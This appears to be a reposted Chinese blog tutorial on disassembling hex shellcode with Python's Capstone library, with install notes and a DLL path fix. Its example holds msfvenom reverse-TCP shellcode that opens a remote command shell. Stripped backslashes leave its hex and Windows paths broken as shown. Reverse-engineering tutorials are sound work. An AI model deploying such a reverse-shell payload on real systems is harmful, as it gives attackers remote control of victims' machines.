我是靠谱客的博主 跳跃毛衣,最近开发中收集的这篇文章主要介绍python调用汇编_【Python】使用Python将Shellcode转换成汇编,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

1、介绍

需要多少行代码转换hex成反汇编呢?

多亏了Python的Capstone库,做这件事只需要五行。

在二进制分析中,进行Exploit开发或逆向工程时,需要快速将十六进制的Shellcode反编译成反汇编。你可以使用像OllyDbg或IDA Pro这样的反编译工具,但如果你不想使用一个成熟的反编译工具执行这个小任务,那么下面的Python代码将有助于你把Shellcode转换成反汇编形式

如果你还没有安装capstone,那么你需要使用以下方法进行安装:

2、安装

2.1、基于Debian

使用以下命令下载并安装。

Note:在kali Linux已经有了。

apt-get install python-capstone

2.2、基于Windows

windows需要下载以下的MSI文件后运行图形化向导进行安装:

32 bit

https://github.com/aquynh/capstone/releases/download/3.0.5-rc2/capstone-3.0.5-rc2-python-win32.msi

64 Bit

https://github.com/aquynh/capstone/releases/download/3.0.5-rc2/capstone-3.0.5-rc2-python-win64.msi

3、示例

这个例子是从msfvenom摘出来的反向TCP连接shellcode

#!/usr/bin/env python

from capstone import *

shellcode = ""

shellcode += "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8b"

shellcode += "x50x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7"

shellcode += "x4ax26x31xffxacx3cx61x7cx02x2cx20xc1xcf"

shellcode += "x0dx01xc7xe2xf2x52x57x8bx52x10x8bx4ax3c"

shellcode += "x8bx4cx11x78xe3x48x01xd1x51x8bx59x20x01"

shellcode += "xd3x8bx49x18xe3x3ax49x8bx34x8bx01xd6x31"

shellcode += "xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03x7d"

shellcode += "xf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66"

shellcode += "x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0"

shellcode += "x89x44x24x24x5bx5bx61x59x5ax51xffxe0x5f"

shellcode += "x5fx5ax8bx12xebx8dx5dx68x33x32x00x00x68"

shellcode += "x77x73x32x5fx54x68x4cx77x26x07xffxd5xb8"

shellcode += "x90x01x00x00x29xc4x54x50x68x29x80x6bx00"

shellcode += "xffxd5x50x50x50x50x40x50x40x50x68xeax0f"

shellcode += "xdfxe0xffxd5x97x6ax05x68xc0xa8x74x80x68"

shellcode += "x02x00x1fx90x89xe6x6ax10x56x57x68x99xa5"

shellcode += "x74x61xffxd5x85xc0x74x0cxffx4ex08x75xec"

shellcode += "x68xf0xb5xa2x56xffxd5x68x63x6dx64x00x89"

shellcode += "xe3x57x57x57x31xf6x6ax12x59x56xe2xfdx66"

shellcode += "xc7x44x24x3cx01x01x8dx44x24x10xc6x00x44"

shellcode += "x54x50x56x56x56x46x56x4ex56x56x53x56x68"

shellcode += "x79xccx3fx86xffxd5x89xe0x4ex56x46xffx30"

shellcode += "x68x08x87x1dx60xffxd5xbbxaaxc5xe2x5dx68"

shellcode += "xa6x95xbdx9dxffxd5x3cx06x7cx0ax80xfbxe0"

shellcode += "x75x05xbbx47x13x72x6fx6ax00x53xffxd5"

md = Cs(CS_ARCH_X86, CS_MODE_32)

for i in md.disasm(shellcode, 0x00):

print("0x%x:t%st%s" %(i.address, i.mnemonic, i.op_str))

代码解释:

md = Cs(CS_ARCH_X86, CS_MODE_32): 初始化类,给两个参数(硬件架构和硬件模式)

for i in md.disasm(shellcode, 0x00): disasm 反汇编这段HEX, 它的参数是shellcode和起始地址。

print(“0x%x:t%st%s” %(i.address, i.mnemonic, i.op_str)):打印地址和操作数。

4、结果

保存上述代码并执行,下面的屏幕截图显示了用Python脚本输出十六进制(shellcode)的汇编

549050-20171126140121937-1188802538.png

图:用简单的Python脚本将HEX转换成反汇编

5、实践部分

我在安装capstone的时候遇到了一个错误

错误信息如下:

Traceback (most recent call last):

File "sl.py", line 2, in

from capstone import *

File "C:Python27libsite-packagescapstone__init__.py", line 249, in

raise ImportError("ERROR: fail to load the dynamic library.")

ImportError: ERROR: fail to load the dynamic library.

一路往下Debug,最后发现是ctypes加载DLL的时候报错了,不知道为何。

C:Python27Libsite-packagescapstone__init__.py

于是我手动把210行代码lib路径改成DLL的绝对路径

_lib = "capstone.dll" # 修改前

_lib = "C:\Python27\lib\site-packages\capstone\lib\capstone.dll" # 修改后

修改后的代码如下:

if sys.platform == 'darwin':

_lib = "libcapstone.dylib"

elif sys.platform in ('win32', 'cygwin'):

_lib = "C:\Python27\lib\site-packages\capstone\lib\capstone.dll"

else:

_lib = "libcapstone.so"

6、实践运行后的结果

549050-20171126141346843-2005953435.png

7、参考

https://haiderm.com/convert-hex-assembly-using-simple-python-script/

最后

以上就是跳跃毛衣为你收集整理的python调用汇编_【Python】使用Python将Shellcode转换成汇编的全部内容,希望文章能够帮你解决python调用汇编_【Python】使用Python将Shellcode转换成汇编所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(41)

评论列表共有 0 条评论

立即
投稿
返回
顶部